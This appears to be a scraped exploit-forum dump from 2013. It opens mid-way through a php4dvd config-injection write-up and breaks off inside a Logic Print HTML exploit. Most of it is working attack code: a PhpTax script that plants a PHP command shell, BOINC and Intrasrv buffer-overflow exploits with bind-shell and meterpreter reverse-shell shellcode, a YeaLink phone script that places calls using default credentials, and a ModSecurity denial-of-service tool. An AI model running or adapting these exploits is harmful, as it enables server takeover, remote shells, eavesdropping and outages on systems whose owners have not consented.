    config .= '$settings["defaultlanguage"] = "' . addslashes($_POST["defaultlanguage"]) . '";' . $nl;
                 
    // Url
    $config .= '$settings["url"]["base"] = "' . addslashes($_POST["url"]) . '";' . $nl;
               
    // Database
    $config .= '$settings["db"]["host"] = "' . addslashes($_POST["dbhost"]) . '";' . $nl;
    $config .= '$settings["db"]["port"] = ' . addslashes($_POST["dbport"]) . ';' . $nl;
    $config .= '$settings["db"]["name"] = "' . addslashes($_POST["dbname"]) . '";' . $nl;
    $config .= '$settings["db"]["user"] = "' . addslashes($_POST["dbuser"]) . '";' . $nl;
    $config .= '$settings["db"]["pass"] = "' . addslashes($_POST["dbpass"]) . '";' . $nl;
               
    // Guest view
    $config .= '$settings["user"]["guestview"] = ' . (isset($_POST["guestview"]) ? 'true' : 'false') . ';' . $nl;
                 
    // Template
    $config .= '$template_name = "' . addslashes($_POST["template"]) . '";' . $nl;
                 
    // Close
    $config .= "?>";
-----------------------------------------------------------------------------
     
-----------------------------------------------------------------------------
LINE 151-173: 
    $file = $loc . "config/config.php";
    $fsuccess = true;
    $handle = @fopen($file, "w+");
-----------------------------------------------------------------------------
 
#####################################################
DESCRIPTION
#####################################################
 
An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability. 
User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file. 
An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.
 
This CMS allow attacker to insert PHP code into config.php with ";phpinfo()"
 
/config/config.php
-----------------------------------------------------------------------------
<?php
$settings["defaultlanguage"] = "en_US";
$settings["url"]["base"] = "php4dvd";
$settings["db"]["host"] = "localhost";
$settings["db"]["port"] = 3306;phpinfo();
$settings["db"]["name"] = "php4dvd";
$settings["db"]["user"] = "root";
$settings["db"]["pass"] = "myP@ssw0rd";
$settings["user"]["guestview"] = false;
$template_name = "default";
?>
-----------------------------------------------------------------------------
 
#####################################################
EXPLOIT
#####################################################
 
POST /php4dvd/install/?go=configuration HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/php4dvd/install/?go=configuration
Cookie: __utma=111872281.1795322081.1369810583.1369810583.1369810583.1; __utmz=111872281.1369810583.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); lang=en_US; PHPSESSID=9bucpus4ag68733h2fjpm190p0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 130
 
dbhost=localhost&dbport=3306;phpinfo()&dbname=php4dvd&dbuser=root&dbpass=myP@ssw0rd&url=php4dvd&template=default&defaultlanguage=en_US&submit=Next
 
 
 
 
 
################################################################################################################
 Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2 
################################################################################################################
 
# 88171F533622E247   1337day.com [2013-06-03]   C0BEECB7E6DAE31D #
PhpTax 0.8 Code Execution Vulnerability
ID: 67686ba3b4103b69df379d6a
Thread ID: 24259
Created: 2013-06-03T06:36:14+0000
Last Post: 2013-06-03T06:36:14+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

Code:Copy to clipboard

#
#  ,--^----------,--------,-----,-------^--,
#  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
#  `+---------------------------^----------|
#    `\_,-------, _________________________|
#      / XXXXXX /`|     /
#     / XXXXXX /  `\   /
#    / XXXXXX /\______(
#   / XXXXXX /          
#  / XXXXXX /
# (________(            
#  `------'
 
# Exploit Title   : PhpTax File Manipulation(newvalue,field) Remote Code Execution
# Date            : 31 May 2013
# Exploit Author  : CWH Underground
# Site            : www.2600.in.th
# Vendor Homepage : http://phptax.sourceforge.net/
# Software Link   : http://sourceforge.net/projects/phptax/
# Version         : 0.8
# Tested on       : Window and Linux
 
 
#####################################################
#VULNERABILITY: FILE MANIPULATION TO REMOTE COMMAND EXECUTION
#####################################################
 
#index.php
 
#LINE 32: fwrite fwrite($zz, "$_GET['newvalue']"); 
#LINE 31: $zz = fopen("./data/$field", "w"); 
#LINE  2: $field = $_GET['field']; 
 
#####################################################
#DESCRIPTION
#####################################################
 
#An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability. 
#User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file. 
#An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.
 
 
#####################################################
#EXPLOIT
#####################################################
 
<?php
  
$options = getopt('u:');
    
if(!isset($options['u']))
die("\n        Usage example: php exploit.php -u http://target.com/ \n"); 
    
$url     =  $options['u'];
$shell = "{$url}/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E";
 
$headers = array('User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)',
'Content-Type: text/plain');
    
echo "        [+] Submitting request to: {$options['u']}\n";
    
$handle = curl_init();
    
curl_setopt($handle, CURLOPT_URL, $url);
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
    
$source = curl_exec($handle);
curl_close($handle);
    
if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r'))
{
echo "        [+] Exploit completed successfully!\n";
echo "        ______________________________________________\n\n        {$url}/data/rce.php?cmd=id\n";
}
else
{
die("        [+] Exploit was unsuccessful.\n");
}
     
?>
BOINC Manager (SETI at Home) version 7.0.64
ID: 67686ba3b4103b69df379d6b
Thread ID: 24258
Created: 2013-06-03T06:35:41+0000
Last Post: 2013-06-03T06:35:41+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Code:Copy to clipboard

# Exploit Title: BOINC Manager 7.0.64 Field stack based buffer overflow
# Date: 26.05.2013
# Exploit Author: xis_one@STM Solutions
# Vendor Homepage: http://boinc.berkeley.edu/ 
# Software Link: http://boinc.berkeley.edu/dl/boinc_7.0.64_windows_intelx86.exe
# Version: 7.0.64 for Windows
# Tested on: Windows XP SP3 Eng (32bits)
#
#
#BOINC 7.0.64 Windows x86 (used by Seti@HOME) Manager Field stack based buffer overflow - SEH based
#
#BOINC is a program that lets you donate your idle computer time to science projects like
#SETI@home, Climateprediction.net, Rosetta@home, World Community Grid, and many others.
#
#In order to exploit  the vulnerability the attacker must convince the victim to use the very long URL as Account Manager URL.
#This URL is generated by the exploit into the exploit.txt file. If it dosnt work on the first time - give it one more try.
#The victim must follow:
#
#Add project -> Use account manager -> Account Manager URL
#
#As with all Field BOF the severity is rather low but hey watch the movie and read below
#
#http://www.youtube.com/watch?v=H9Hz8OPWjtM&feature=youtu.be
#
#Developers team @ berkley.edu was informed about the issue and released the BOINC 7.1.3 version including the fix within a week timeframe.
  
  
  
  
#windows/shell/bind_tcp EXITFUNC=thread LPORT=31337 R | msfencode -e x86/alpha_upper -t c
shellcode = (
"\x89\xe6\xdb\xdf\xd9\x76\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4c\x49\x35\x50"
"\x33\x30\x35\x50\x55\x30\x4c\x49\x4a\x45\x56\x51\x4e\x32\x35"
"\x34\x4c\x4b\x51\x42\x30\x30\x4c\x4b\x31\x42\x44\x4c\x4c\x4b"
"\x56\x32\x32\x34\x4c\x4b\x43\x42\x56\x48\x54\x4f\x4f\x47\x50"
"\x4a\x57\x56\x36\x51\x4b\x4f\x36\x51\x39\x50\x4e\x4c\x47\x4c"
"\x33\x51\x33\x4c\x53\x32\x46\x4c\x47\x50\x39\x51\x38\x4f\x44"
"\x4d\x45\x51\x4f\x37\x4d\x32\x4c\x30\x46\x32\x31\x47\x4c\x4b"
"\x46\x32\x42\x30\x4c\x4b\x30\x42\x47\x4c\x55\x51\x58\x50\x4c"
"\x4b\x31\x50\x34\x38\x4d\x55\x39\x50\x33\x44\x51\x5a\x55\x51"
"\x4e\x30\x50\x50\x4c\x4b\x30\x48\x52\x38\x4c\x4b\x56\x38\x51"
"\x30\x35\x51\x49\x43\x4d\x33\x47\x4c\x37\x39\x4c\x4b\x56\x54"
"\x4c\x4b\x55\x51\x4e\x36\x46\x51\x4b\x4f\x30\x31\x39\x50\x4e"
"\x4c\x49\x51\x38\x4f\x44\x4d\x45\x51\x48\x47\x56\x58\x4d\x30"
"\x44\x35\x5a\x54\x55\x53\x53\x4d\x4b\x48\x57\x4b\x43\x4d\x46"
"\x44\x43\x45\x4d\x32\x46\x38\x4c\x4b\x56\x38\x56\x44\x43\x31"
"\x4e\x33\x35\x36\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x30\x58\x45"
"\x4c\x35\x51\x58\x53\x4c\x4b\x53\x34\x4c\x4b\x35\x51\x38\x50"
"\x4b\x39\x51\x54\x56\x44\x37\x54\x51\x4b\x51\x4b\x33\x51\x56"
"\x39\x31\x4a\x50\x51\x4b\x4f\x4d\x30\x46\x38\x51\x4f\x30\x5a"
"\x4c\x4b\x42\x32\x5a\x4b\x4d\x56\x31\x4d\x45\x38\x47\x43\x57"
"\x42\x45\x50\x33\x30\x45\x38\x54\x37\x54\x33\x46\x52\x31\x4f"
"\x31\x44\x52\x48\x30\x4c\x32\x57\x57\x56\x53\x37\x4b\x4f\x4e"
"\x35\x4f\x48\x5a\x30\x35\x51\x35\x50\x53\x30\x47\x59\x38\x44"
"\x30\x54\x36\x30\x53\x58\x51\x39\x4b\x30\x32\x4b\x43\x30\x4b"
"\x4f\x39\x45\x36\x30\x36\x30\x36\x30\x50\x50\x51\x50\x46\x30"
"\x47\x30\x56\x30\x42\x48\x4b\x5a\x54\x4f\x59\x4f\x4b\x50\x4b"
"\x4f\x59\x45\x4a\x37\x36\x51\x49\x4b\x51\x43\x53\x58\x43\x32"
"\x33\x30\x33\x4a\x55\x39\x4d\x59\x4a\x46\x52\x4a\x42\x30\x36"
"\x36\x30\x57\x42\x48\x38\x42\x59\x4b\x50\x37\x53\x57\x4b\x4f"
"\x39\x45\x30\x53\x50\x57\x55\x38\x4e\x57\x4a\x49\x47\x48\x4b"
"\x4f\x4b\x4f\x59\x45\x46\x33\x56\x33\x50\x57\x52\x48\x43\x44"
"\x5a\x4c\x47\x4b\x4d\x31\x4b\x4f\x38\x55\x30\x57\x4d\x47\x42"
"\x48\x42\x55\x42\x4e\x30\x4d\x35\x31\x4b\x4f\x39\x45\x32\x4a"
"\x53\x30\x43\x5a\x34\x44\x36\x36\x56\x37\x42\x48\x35\x52\x58"
"\x59\x49\x58\x51\x4f\x4b\x4f\x39\x45\x4c\x4b\x36\x56\x32\x4a"
"\x57\x30\x52\x48\x33\x30\x32\x30\x43\x30\x55\x50\x56\x36\x42"
"\x4a\x55\x50\x43\x58\x50\x58\x39\x34\x56\x33\x4d\x35\x4b\x4f"
"\x39\x45\x4a\x33\x56\x33\x43\x5a\x35\x50\x46\x36\x46\x33\x50"
"\x57\x42\x48\x43\x32\x49\x49\x58\x48\x31\x4f\x4b\x4f\x58\x55"
"\x45\x51\x58\x43\x51\x39\x4f\x36\x4c\x45\x5a\x56\x42\x55\x5a"
"\x4c\x58\x43\x41\x41")
  
  
  
urlstart="http://boinc.unex.es/extremadurathome?longurl="
#Pre and Post - play with them to make them look like a valid long URL (some nice examples from google apps are out there)
pre="C"*(1292-46)
nseh="\xEB\x06\x43\x43"
#XP sp 3 32bit Eng 0x018f1d3a : popad # call ebp |  {PAGE_READWRITE} space outside of loaded modules to bypass safeseh
NOP="\x43\x43"
seh="\x3a\x1d\x8f\x01"
post="C"*5000
  
  
buffer = urlstart + pre + nseh + seh + NOP + shellcode + post
  
print(buffer)
  
file = open('exploit.txt','w')
file.write(buffer)
file.close()
YeaLink IP Phone Firmware 9.70.0.100
ID: 67686ba3b4103b69df379d6c
Thread ID: 24244
Created: 2013-05-31T08:23:53+0000
Last Post: 2013-05-31T08:23:53+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

YeaLink IP Phone firmware versions 9.70.0.100 and below suffer from an unauthenticated phone call vulnerability.

Click to expand...

Code:Copy to clipboard

# Exploit Title: [YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 phone call vulnerability]
# Date: [05-28-2013]
# Exploit Author: [b0hr (francisco<[at]>garnelo.eu)]
# Vendor Homepage: [http://yealink.com]
# Software Link: [ http://yealink.com/product_list.aspx?BaseInfoCateId=147&CateId=147&ProductsCateID=147 ]
# Version: 9.70.0.100 and lower]
# Tested on: [YeaLink IP Phone SIP-T20P and SIP-T26P (hardware VoIP phone)]
# Vulnerability : [It's possible to make calls from using the first available sip account, without supervision or confirmation of the user, also the call receiver can listen through the phone mic .]
 
#!/usr/bin/python
  
import urllib2, sys
  
print "\n YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 phone call vulnerability - b0rh (francisco<[at]>garnelo.eu) - 2013-05-28 \n"
 
if (len(sys.argv) != 3):
    print ">> Use: " + sys.argv[0] + " <IP Phone> <phone number>"
    print ">> Ex: " + sys.argv[0] + " 127.0.0.1 123456789\n"
    exit(0)
  
IP = sys.argv[1]
num = sys.argv[2]
UrlGet_params = 'http://%s/cgi-bin/ConfigManApp.com?Id=34&Command=1&Number=%s&Account=0&sid=0.724202975169738' % (IP, num)
webU = 'user'
webP = 'user'
 
query = urllib2.HTTPPasswordMgrWithDefaultRealm()
query.add_password(None, UrlGet_params, webU, webP)
auth = urllib2.HTTPBasicAuthHandler(query)
log = urllib2.build_opener(auth)
 
 
urllib2.install_opener(log)
 
queryPag = urllib2.urlopen(UrlGet_params)
 
print "\n Call to %s form IP phone %s\n" %(num,IP)
ModSecurity Remote Null Pointer Dereference
ID: 67686ba3b4103b69df379d6d
Thread ID: 24243
Created: 2013-05-31T08:21:46+0000
Last Post: 2013-05-31T08:21:46+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 1K

When ModSecurity receives a request body with a size bigger than the value set by the "SecRequestBodyInMemoryLimit" and with a "Content-Type" that has no request body processor mapped to it, ModSecurity will systematically crash on every call to "forceRequestBodyVariable" (in phase 1). This is the proof of concept exploit. Versions prior to 2.7.4 are affected.

Click to expand...

Code:Copy to clipboard

#!/usr/bin/env python3
#-*- coding: utf-8 -*-
#
# Created on Mar 29, 2013
#
# @author: Younes JAAIDI <yjaaidi@shookalabs.com>
#

import argparse
import http.client
import logging
import sys
import urllib.request

logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
logger.addHandler(logging.StreamHandler(sys.stderr))

class ModSecurityDOSCheck(object):

    _DEFAULT_REQUEST_BODY_SIZE = 200 # KB
    _DEFAULT_CONCURRENCY = 100
    _DEFAULT_USER_AGENT = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36"

    def __init__(self):
        self._request_counter = 0
        self._status_message = None

    def main(self, args_list):
        args_object = self._parse_args(args_list)
        
        payload = "A" * args_object.request_body_size * 1024
        
        request = urllib.request.Request(args_object.target_url,
                                         method = "GET",
                                         data = payload.encode('utf-8'),
                                         headers = {'Content-Type': 'text/random',
                                                    'User-Agent': self._DEFAULT_USER_AGENT})
        
        if self._send_request(request):
            logger.info("Target seems to be vulnerable!!!")
            return 0
        else:
            logger.info("Attack didn't work. Try increasing the 'REQUEST_BODY_SIZE'.")
            return 1

    def _parse_args(self, args_list):
        parser = argparse.ArgumentParser(description="ModSecurity DOS tool.")
        parser.add_argument('-t', '--target-url',
                            dest = 'target_url',
                            required = True,
                            help = "Target URL")
        parser.add_argument('-s', '--request-body-size',
                            dest = 'request_body_size',
                            default = self._DEFAULT_REQUEST_BODY_SIZE,
                            type = int,
                            help = "Request body size in KB")
        
        return parser.parse_args()

    def _send_request(self, request):
        try:
            urllib.request.urlopen(request)
            return False
        except (http.client.BadStatusLine, urllib.error.HTTPError):
            return True

if __name__ == '__main__':
    sys.exit(ModSecurityDOSCheck().main(sys.argv))
Intrasrv Simple Web Server 1.0 Code Execution
ID: 67686ba3b4103b69df379d6e
Thread ID: 24242
Created: 2013-05-31T08:21:00+0000
Last Post: 2013-05-31T08:21:00+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Intrasrv Simple Web Server version 1.0 SEH based remote code execution exploit.

Click to expand...

Code:Copy to clipboard

# Exploit Title: Intrasrv Simple Web Server 1.0 SEH based Remote Code Execution BOF
 
# Date: 29.05.2013
 
# Exploit Author: xis_one@STM Solutions
 
# Vendor Homepage: http://www.leighb.com/intrasrv.htm
 
# Software Link: http://www.leighb.com/intrasrv.zip
 
# Version: 1.0
 
# Tested on: Windows XP SP3 Eng
 
 
# Movie:http://www.youtube.com/watch?v=NvCPYA6T9l0&feature=youtu.be
 
 
 
#!/usr/bin/python
 
import socket
 
import os
 
import sys
 
 
 
target="192.168.1.16"
 
 
#W00T
 
egghunter="\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7" + "\x90"*94
 
nseh="\xEB\x80\x90\x90"#jmp back do egghunter
 
seh="\xdd\x97\x40\x00"  #0x004097dd, # pop eax # pop ebp # ret  - intrasrv.exe
 
crash = "\x90"*1427 + egghunter + nseh + seh + "\x90"*2439 #4000 bytes
 
 
#windows/meterpreter/reverse_tcp lhost=192.168.1.15 lport=31337 R | msfencode -t c -b '\x56' -e x86/alpha_mixed
 
shellcode = ("T00WT00W" +
 
"\x89\xe2\xda\xcf\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
 
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
 
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
 
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
 
"\x59\x6c\x4b\x58\x4e\x69\x47\x70\x55\x50\x53\x30\x75\x30\x4e"
 
"\x69\x6b\x55\x64\x71\x78\x52\x73\x54\x4e\x6b\x51\x42\x64\x70"
 
"\x4e\x6b\x32\x72\x44\x4c\x6e\x6b\x62\x72\x45\x44\x6c\x4b\x30"
 
"\x72\x77\x58\x36\x6f\x38\x37\x32\x6a\x74\x66\x65\x61\x79\x6f"
 
"\x70\x31\x49\x50\x4c\x6c\x47\x4c\x63\x51\x51\x6c\x65\x52\x66"
 
"\x4c\x71\x30\x4b\x71\x48\x4f\x44\x4d\x55\x51\x6a\x67\x69\x72"
 
"\x4c\x30\x31\x42\x46\x37\x4c\x4b\x33\x62\x36\x70\x6e\x6b\x50"
 
"\x42\x75\x6c\x66\x61\x6a\x70\x6e\x6b\x47\x30\x51\x68\x4e\x65"
 
"\x69\x50\x42\x54\x71\x5a\x35\x51\x38\x50\x52\x70\x6c\x4b\x32"
 
"\x68\x67\x68\x4c\x4b\x71\x48\x35\x70\x77\x71\x39\x43\x58\x63"
 
"\x47\x4c\x47\x39\x4c\x4b\x37\x44\x4e\x6b\x65\x51\x79\x46\x30"
 
"\x31\x49\x6f\x46\x51\x59\x50\x4e\x4c\x59\x51\x4a\x6f\x64\x4d"
 
"\x36\x61\x5a\x67\x30\x38\x49\x70\x34\x35\x4a\x54\x55\x53\x61"
 
"\x6d\x39\x68\x47\x4b\x73\x4d\x37\x54\x32\x55\x59\x72\x63\x68"
 
"\x4c\x4b\x32\x78\x57\x54\x63\x31\x59\x43\x31\x76\x6c\x4b\x36"
 
"\x6c\x72\x6b\x4e\x6b\x33\x68\x65\x4c\x65\x51\x4a\x73\x6c\x4b"
 
"\x44\x44\x6c\x4b\x36\x61\x4a\x70\x6c\x49\x61\x54\x64\x64\x66"
 
"\x44\x61\x4b\x31\x4b\x65\x31\x52\x79\x51\x4a\x62\x71\x69\x6f"
 
"\x49\x70\x46\x38\x33\x6f\x53\x6a\x4e\x6b\x67\x62\x58\x6b\x4e"
 
"\x66\x53\x6d\x35\x38\x45\x63\x55\x62\x33\x30\x67\x70\x33\x58"
 
"\x53\x47\x64\x33\x54\x72\x31\x4f\x33\x64\x72\x48\x42\x6c\x31"
 
"\x67\x65\x76\x73\x37\x6b\x4f\x39\x45\x4d\x68\x5a\x30\x47\x71"
 
"\x37\x70\x77\x70\x74\x69\x59\x54\x62\x74\x42\x70\x42\x48\x64"
 
"\x69\x4b\x30\x30\x6b\x37\x70\x79\x6f\x58\x55\x32\x70\x42\x70"
 
"\x30\x50\x76\x30\x37\x30\x42\x70\x77\x30\x72\x70\x63\x58\x4b"
 
"\x5a\x34\x4f\x39\x4f\x79\x70\x79\x6f\x4e\x35\x6d\x47\x33\x5a"
 
"\x34\x45\x71\x78\x4b\x70\x6f\x58\x57\x71\x46\x6f\x42\x48\x54"
 
"\x42\x47\x70\x43\x4a\x72\x49\x4e\x69\x6a\x46\x31\x7a\x34\x50"
 
"\x31\x46\x70\x57\x73\x58\x6e\x79\x4f\x55\x63\x44\x35\x31\x6b"
 
"\x4f\x69\x45\x4d\x55\x6b\x70\x44\x34\x74\x4c\x6b\x4f\x50\x4e"
 
"\x67\x78\x71\x65\x4a\x4c\x63\x58\x58\x70\x38\x35\x49\x32\x51"
 
"\x46\x59\x6f\x6e\x35\x51\x7a\x63\x30\x70\x6a\x66\x64\x53\x66"
 
"\x50\x57\x45\x38\x44\x42\x39\x49\x68\x48\x43\x6f\x4b\x4f\x6e"
 
"\x35\x4c\x4b\x64\x76\x30\x6a\x73\x70\x33\x58\x73\x30\x66\x70"
 
"\x67\x70\x55\x50\x72\x76\x42\x4a\x67\x70\x75\x38\x63\x68\x69"
 
"\x34\x50\x53\x68\x65\x4b\x4f\x49\x45\x7a\x33\x71\x43\x73\x5a"
 
"\x57\x70\x73\x66\x61\x43\x42\x77\x50\x68\x63\x32\x6b\x69\x79"
 
"\x58\x31\x4f\x39\x6f\x4a\x75\x35\x51\x4f\x33\x36\x49\x38\x46"
 
"\x4c\x45\x59\x66\x42\x55\x4a\x4c\x4f\x33\x41\x41")
 
 
buffer="GET / HTTP/1.1\r\n"
 
buffer+="Host: " + crash + "\r\n"
 
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
 
buffer+="User-Agent: Mozilla/4.0 (Windows XP 5.1)\r\n"
 
buffer+="Content-Length: 1048580\r\n\r\n"
 
buffer+=shellcode
 
one = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
 
one.connect((target, 80))
 
one.send(buffer)
 
one.close()
Intrasrv Simple Web Server 1.0
ID: 67686ba3b4103b69df379d6f
Thread ID: 24241
Created: 2013-05-31T08:16:05+0000
Last Post: 2013-05-31T08:16:05+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/python
 
import socket
import os
import sys
 
target="192.168.1.16"
 
#W00T
egghunter="\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7" + "\x90"*94
 
nseh="\xEB\x80\x90\x90"#jmp back do egghunter
seh="\xdd\x97\x40\x00"  #0x004097dd, # pop eax # pop ebp # ret  - intrasrv.exe
crash = "\x90"*1427 + egghunter + nseh + seh + "\x90"*2439 #4000 bytes
 
 
#windows/meterpreter/reverse_tcp lhost=192.168.1.15 lport=31337 R | msfencode -t c -b '\x56' -e x86/alpha_mixed
shellcode = ("T00WT00W" +
"\x89\xe2\xda\xcf\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x59\x6c\x4b\x58\x4e\x69\x47\x70\x55\x50\x53\x30\x75\x30\x4e"
"\x69\x6b\x55\x64\x71\x78\x52\x73\x54\x4e\x6b\x51\x42\x64\x70"
"\x4e\x6b\x32\x72\x44\x4c\x6e\x6b\x62\x72\x45\x44\x6c\x4b\x30"
"\x72\x77\x58\x36\x6f\x38\x37\x32\x6a\x74\x66\x65\x61\x79\x6f"
"\x70\x31\x49\x50\x4c\x6c\x47\x4c\x63\x51\x51\x6c\x65\x52\x66"
"\x4c\x71\x30\x4b\x71\x48\x4f\x44\x4d\x55\x51\x6a\x67\x69\x72"
"\x4c\x30\x31\x42\x46\x37\x4c\x4b\x33\x62\x36\x70\x6e\x6b\x50"
"\x42\x75\x6c\x66\x61\x6a\x70\x6e\x6b\x47\x30\x51\x68\x4e\x65"
"\x69\x50\x42\x54\x71\x5a\x35\x51\x38\x50\x52\x70\x6c\x4b\x32"
"\x68\x67\x68\x4c\x4b\x71\x48\x35\x70\x77\x71\x39\x43\x58\x63"
"\x47\x4c\x47\x39\x4c\x4b\x37\x44\x4e\x6b\x65\x51\x79\x46\x30"
"\x31\x49\x6f\x46\x51\x59\x50\x4e\x4c\x59\x51\x4a\x6f\x64\x4d"
"\x36\x61\x5a\x67\x30\x38\x49\x70\x34\x35\x4a\x54\x55\x53\x61"
"\x6d\x39\x68\x47\x4b\x73\x4d\x37\x54\x32\x55\x59\x72\x63\x68"
"\x4c\x4b\x32\x78\x57\x54\x63\x31\x59\x43\x31\x76\x6c\x4b\x36"
"\x6c\x72\x6b\x4e\x6b\x33\x68\x65\x4c\x65\x51\x4a\x73\x6c\x4b"
"\x44\x44\x6c\x4b\x36\x61\x4a\x70\x6c\x49\x61\x54\x64\x64\x66"
"\x44\x61\x4b\x31\x4b\x65\x31\x52\x79\x51\x4a\x62\x71\x69\x6f"
"\x49\x70\x46\x38\x33\x6f\x53\x6a\x4e\x6b\x67\x62\x58\x6b\x4e"
"\x66\x53\x6d\x35\x38\x45\x63\x55\x62\x33\x30\x67\x70\x33\x58"
"\x53\x47\x64\x33\x54\x72\x31\x4f\x33\x64\x72\x48\x42\x6c\x31"
"\x67\x65\x76\x73\x37\x6b\x4f\x39\x45\x4d\x68\x5a\x30\x47\x71"
"\x37\x70\x77\x70\x74\x69\x59\x54\x62\x74\x42\x70\x42\x48\x64"
"\x69\x4b\x30\x30\x6b\x37\x70\x79\x6f\x58\x55\x32\x70\x42\x70"
"\x30\x50\x76\x30\x37\x30\x42\x70\x77\x30\x72\x70\x63\x58\x4b"
"\x5a\x34\x4f\x39\x4f\x79\x70\x79\x6f\x4e\x35\x6d\x47\x33\x5a"
"\x34\x45\x71\x78\x4b\x70\x6f\x58\x57\x71\x46\x6f\x42\x48\x54"
"\x42\x47\x70\x43\x4a\x72\x49\x4e\x69\x6a\x46\x31\x7a\x34\x50"
"\x31\x46\x70\x57\x73\x58\x6e\x79\x4f\x55\x63\x44\x35\x31\x6b"
"\x4f\x69\x45\x4d\x55\x6b\x70\x44\x34\x74\x4c\x6b\x4f\x50\x4e"
"\x67\x78\x71\x65\x4a\x4c\x63\x58\x58\x70\x38\x35\x49\x32\x51"
"\x46\x59\x6f\x6e\x35\x51\x7a\x63\x30\x70\x6a\x66\x64\x53\x66"
"\x50\x57\x45\x38\x44\x42\x39\x49\x68\x48\x43\x6f\x4b\x4f\x6e"
"\x35\x4c\x4b\x64\x76\x30\x6a\x73\x70\x33\x58\x73\x30\x66\x70"
"\x67\x70\x55\x50\x72\x76\x42\x4a\x67\x70\x75\x38\x63\x68\x69"
"\x34\x50\x53\x68\x65\x4b\x4f\x49\x45\x7a\x33\x71\x43\x73\x5a"
"\x57\x70\x73\x66\x61\x43\x42\x77\x50\x68\x63\x32\x6b\x69\x79"
"\x58\x31\x4f\x39\x6f\x4a\x75\x35\x51\x4f\x33\x36\x49\x38\x46"
"\x4c\x45\x59\x66\x42\x55\x4a\x4c\x4f\x33\x41\x41")
 
buffer="GET / HTTP/1.1\r\n"
buffer+="Host: " + crash + "\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="User-Agent: Mozilla/4.0 (Windows XP 5.1)\r\n"
buffer+="Content-Length: 1048580\r\n\r\n"
buffer+=shellcode
 
one = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
one.connect((target, 80))
one.send(buffer)
Logic Print 2013
ID: 67686ba3b4103b69df379d70
Thread ID: 24240
Created: 2013-05-31T08:14:51+0000
Last Post: 2013-05-31T08:14:51+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Code:Copy to clipboard

<!--
Exploit Title: Logic Print 2013 stack overflow (vTable overwrite)
Software Link: http://www.logic-print.com/
Tested on: Win XP SP3 French + Internet Explorer 8
Date: 29/05/2013
Author: h1ch4m (Hicham Oumounid)
Email: h1ch4m@live.fr
Twitter: @o_h1ch4m
 
Thanks to corelanc0d3r for: "DEPS" - Precise heap spray for FF/IE8/IE9/IE10
 
Well, the bug isn't in the app itself, but in a third party dll "PDF In-The-Box" from http://www.synactis.com
Logic Print 2013 uses an old version of the dll, new ones aren't affected,
the ROP is from an os dll: [msi.dll] (C:\WINDOWS\system32\msi.dll) 3.1.4001.5512
 
 -->
<html>
<head>
<OBJECT classid="clsid:C80CAF1F-C58E-11D5-A093-006097ED77E6" id="xploit"></OBJECT>
</head>
